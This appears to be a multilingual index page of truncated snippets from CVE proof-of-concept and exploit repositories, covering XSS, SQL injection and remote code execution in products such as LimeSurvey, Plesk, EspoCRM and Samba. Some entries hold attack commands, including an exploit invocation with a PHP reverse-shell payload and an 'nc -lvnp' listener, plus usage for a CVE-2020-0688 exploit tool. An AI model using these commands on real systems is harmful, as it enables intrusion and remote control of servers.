CVE-2026-65930 LimeSurvey Community Edition 7.0.5 - Stored XSS in replacement-fields

LimeSurvey Community Edition 7.0.5 contains an authenticated stored cross-site scripting vulnerability in the replacement-fields dialog used by the administrative question editor.This issue affects LimeSurvey: 7.0.5...

CVE-2023-5965

PoC per Espo CRM 7.2.4 CVE-2023-5965 & CVE-2023-5965 CVE-2023-5965 Avviso Un utente autenticato con privilegi potrebbe caricare un file zip appositamente predisposto sul server EspoCRM nella versione 7.2.5, tramite il modulo di aggiornamento, che potrebbe portare all'esecuzione di codice PHP...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php Ändere $ip in Zeile 7 von phprevshell.php nc -lvnp 1234...

CVE-2021-36747

CVE-2021-36747 Blackboard Learn bis 9.1 ermöglicht XSS durch einen authentifizierten Benutzer über das Formular „Feedback to Learner“. Entdeckt: 11. Mai 2018 Das Blackboard-Sicherheitsteam wurde über dieses Problem informiert. Es bestätigte die Schwachstelle am 14. Mai 2018. Beschreibung: Das...

CVE-2026-65647

CVE-2026-65647 is an improper symlink resolution vulnerability in the Plesk Site Import and Migrator extensions. A remote authenticated (low-privilege) user can leverage this flaw to execute arbitrary code as root , resulting in full compromise of the vulnerable system. The CVSS 4.0 score is 8.7 ...

CVE-2026-65646

CVE-2026-65646 is an improper neutralization of special elements vulnerability in Plesk 's DNS zone management functionality , allowing remote authenticated users to disclose arbitrary local files and escalate privileges. The CVSS 4.0 base score is 8.7 (HIGH) , with low privileges required, no us...

CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

CVE-2026-65647

Improper symlink resolution before file access in Plesk allows remote authenticated users to execute arbitrary code as root...

cve-2020-24572

CVE-2020-24572 Eine Schwachstelle wurde in includes/webconsole.php in RaspAP 2.5 entdeckt. Mit authentifiziertem Zugriff kann ein Angreifer eine fehlkonfigurierte und praktisch uneingeschränkte Webkonsole nutzen, um das zugrunde liegende Betriebssystem, auf dem diese Software läuft, anzugreifen u...

CVE-2026-62249

Weblate is a web-based continuous localization platform used to manage software translations. In versions prior to 2026.7, an authenticated user with access to a project can retrieve the change history of restricted components in that project through nested API change endpoints, even without...

CVE-2023-36146

CVE-2023-36146 PoC di CVE-2023-36146 - Multilaser RE 170 Firmware 2.2.6733 Cross Site Scripting persistente autenticato Passaggi per riprodurre: 1. Accedi al dispositivo tramite il tuo browser web 2. Vai su Security IP Filtering 3. Nel campo "Description" inietta il payload "" 4. Fai clic su Add ...

CVE-2022-23046

CVE-2022-23046 La scoperta originale e il PoC manuale provengono da Fluidattacks: PhpIPAM v1.4.4 consente a un utente amministratore autenticato di iniettare istruzioni SQL nel parametro "subnet" durante la ricerca di una subnet tramite app/admin/routing/edit-bgp-mapping-search.php. Questo PoC...

CVE-2022-24654

CVE-2022-24654 PoC di CVE-2022-24654 - INTELBRAS ATA 200 Firmware 74.19.10.21 Cross Site Scripting persistente autenticato Passaggi per riprodurre: 1. Accedere all'apparecchiatura tramite il browser web 2. Andare su Management Syslog 3. Nel campo "Field Server Address" iniettare il payload...

CVE-2020-9460

CVE-2020-9460 root@kitploit: ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ Cross-Site-Scripting - Oempro Octech Oempro 4.7 bis 4.11 ermöglicht XSS durch einen authentifizierten Benutzer. Der...

CVE-2025-13401-XSS-Stored

Prova de Conceito: XSS Armazenado no Autoptimize para imagens encontradas no conteúdo quando a otimização de imagens ou o pré-carregamento está habilitado. Na versão 3.1.13, a função utiliza uma abordagem de "lista negra" via pregreplace para remover atributos específicos como title, alt, , , e d...

CVE-2020-0688_EXP

CVE-2020-0688EXP CVE-2020-0688EXP payload ad attivazione automatica root@kitploit: python3 CVE-2020-0688EXP.py -h usage: CVE-2020-0688EXP.py -h -s SERVER -u USER -p PASSWORD -c CMD -e optional arguments: -h, --help show this help message and exit -s SERVER, --server ECP Server URL Example:...

CVE-2023-47437

CVE-2023-47437 Pachno Schwachstelle für gespeichertes Cross-Site-Scripting https://vulners.com/cve/CVE-2023-47437 Beschreibung: In Pachno wurde eine Schwachstelle identifiziert, die es einem authentifizierten Angreifer ermöglicht, einen Angriff mit gespeichertem Cross-Site-Scripting XSS...

CVE-2024-1655

CVE-2024-1655 الوصف البرامج الثابتة الخاصة بـ ASUS ExpertWiFi EBM63 وEBM68 وRT-AX57 Go قبل تصحيح 12-04-2024 تحتوي على ثغرة حقن أوامر في دالة splashpageSDN.cgi. عندما يرسل المهاجم طلبًا مصممًا خصيصًا، يمكنه تحقيق تنفيذ تعسفي للكود. المراجع: التقرير الرسمي الاستخدام الثغرة عبارة عن RCE موثّق يتطلب...

CVE-2017-7494

CVE-2017-7494 Hallo, ich bin Gihad aus Libyen 17 C Informationen zum Exploit ========================================================================================== Dieses Modul löst eine Schwachstelle beim Laden beliebiger Shared Libraries in Samba-Versionen 3.5.0 bis 4.4.14, 4.5.10 und 4.6.4...

phpipam_1.4.4

CVE-2022-23046 phpIPAM 1.4.4 - SQL Injection phpIPAM v1.4.4 erlaubt es einem authentifizierten Admin-Benutzer, SQL-Befehle in den Subnet-Parameter einzuschleusen, während über app/admin/routing/edit-bgp-mapping-search.php nach einem Subnet gesucht wird. Dieses Projekt gibt derzeit...